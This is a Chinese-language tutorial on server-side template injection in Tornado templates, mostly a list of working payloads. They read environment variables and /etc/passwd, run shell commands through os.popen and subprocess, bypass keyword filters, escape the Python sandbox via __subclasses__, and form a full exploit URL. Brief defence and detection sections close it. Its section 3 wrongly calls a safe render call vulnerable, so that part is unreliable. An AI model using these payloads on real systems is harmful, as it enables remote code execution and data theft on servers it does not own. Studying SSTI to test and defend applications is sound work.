Tornado的SSTI
字数 1232 2025-08-06 12:20:45
Tornado模板引擎SSTI漏洞分析与利用
1. Tornado模板引擎简介
Tornado是一个Python Web框架和异步网络库,它内置了自己的模板系统。Tornado模板语法类似于Jinja2,但实现方式有所不同,这也导致了其特有的SSTI(服务器端模板注入)漏洞模式。
2. Tornado模板基础语法
Tornado模板的基本语法结构:
{{ ... }}- 表达式,输出变量或表达式结果{% ... %}- 控制语句,如if、for、while等{# ... #}- 注释
示例:
<html>
<body>
<h1>{{ title }}</h1>
<ul>
{% for item in items %}
<li>{{ escape(item) }}</li>
{% end %}
</ul>
</body>
</html>
3. SSTI漏洞产生原因
Tornado SSTI漏洞通常发生在开发者直接将用户输入拼接到模板中时:
class MainHandler(tornado.web.RequestHandler):
def get(self):
name = self.get_argument('name', 'Guest')
self.render('template.html', name=name)
如果攻击者能够控制name参数,就可能注入恶意模板代码。
4. Tornado模板注入利用方法
4.1 基本信息泄露
{{ __import__("os").environ }} # 读取环境变量
{{ handler.settings }} # 获取应用配置
4.2 文件读取
{{ __import__("os").popen("cat /etc/passwd").read() }}
{{ open("/etc/passwd").read() }}
4.3 RCE (远程代码执行)
{% import os %}{{ os.popen("whoami").read() }}
{{ __import__('subprocess').check_output(['ls', '-la']) }}
4.4 利用内置对象和方法
Tornado模板提供了几个内置对象和方法:
handler- 当前的RequestHandler实例request- 当前的HTTP请求对象current_user- 当前用户locale- 本地化信息_- 翻译函数escape- HTML转义函数url_escape- URL转义函数json_encode- JSON编码
利用这些对象可以获取更多信息:
{{ handler.request.connection.context }}
{{ handler.application.settings }}
5. 高级利用技巧
5.1 绕过过滤
如果某些关键字被过滤,可以使用字符串拼接或编码绕过:
{{ getattr(__import__("o"+"s"), "po"+"pen")("id").read() }}
{{ __import__("\x6f\x73").system("whoami") }}
5.2 利用Python沙箱逃逸技术
Tornado模板本质上是一个受限的Python执行环境,可以利用Python沙箱逃逸技术:
{{ ''.__class__.__mro__[-1].__subclasses__() }} # 列出所有可用类
{{ ''.__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__['os'].popen('id').read() }}
5.3 利用模板继承
如果存在模板继承,可以尝试覆盖父模板:
{% extends "base.html" %}
{% block content %}
{{ malicious_code }}
{% end %}
6. 防御措施
- 输入验证:严格验证用户输入,特别是用于模板渲染的数据
- 转义输出:使用
escape()函数对所有动态内容进行转义 - 最小权限:运行Tornado应用时使用最小必要权限
- 禁用危险功能:在安全敏感环境中禁用
__import__等危险功能 - 使用安全模板:考虑使用更安全的模板引擎或严格限制的模板环境
7. 漏洞检测方法
- 尝试注入简单表达式:
{{7*7}},观察是否返回49 - 尝试访问内置对象:
{{handler}},观察是否返回对象信息 - 尝试执行简单命令:
{{__import__("os").popen("id").read()}}
8. 实际案例分析
假设存在以下漏洞代码:
class VulnerableHandler(tornado.web.RequestHandler):
def get(self):
template = '<html><body>Hello, ' + self.get_argument('name') + '</body></html>'
self.write(tornado.template.Template(template).generate())
攻击者可以构造如下payload:
http://example.com/vuln?name={{__import__("os").popen("cat+/etc/passwd").read()}}
这将导致服务器执行命令并返回/etc/passwd文件内容。
9. 总结
Tornado模板注入漏洞危害严重,可导致信息泄露、RCE等后果。开发者应避免直接将用户输入拼接到模板中,而应使用模板变量传递数据。安全团队在审计时应特别关注所有动态模板生成的地方,确保没有未经过滤的用户输入直接进入模板渲染过程。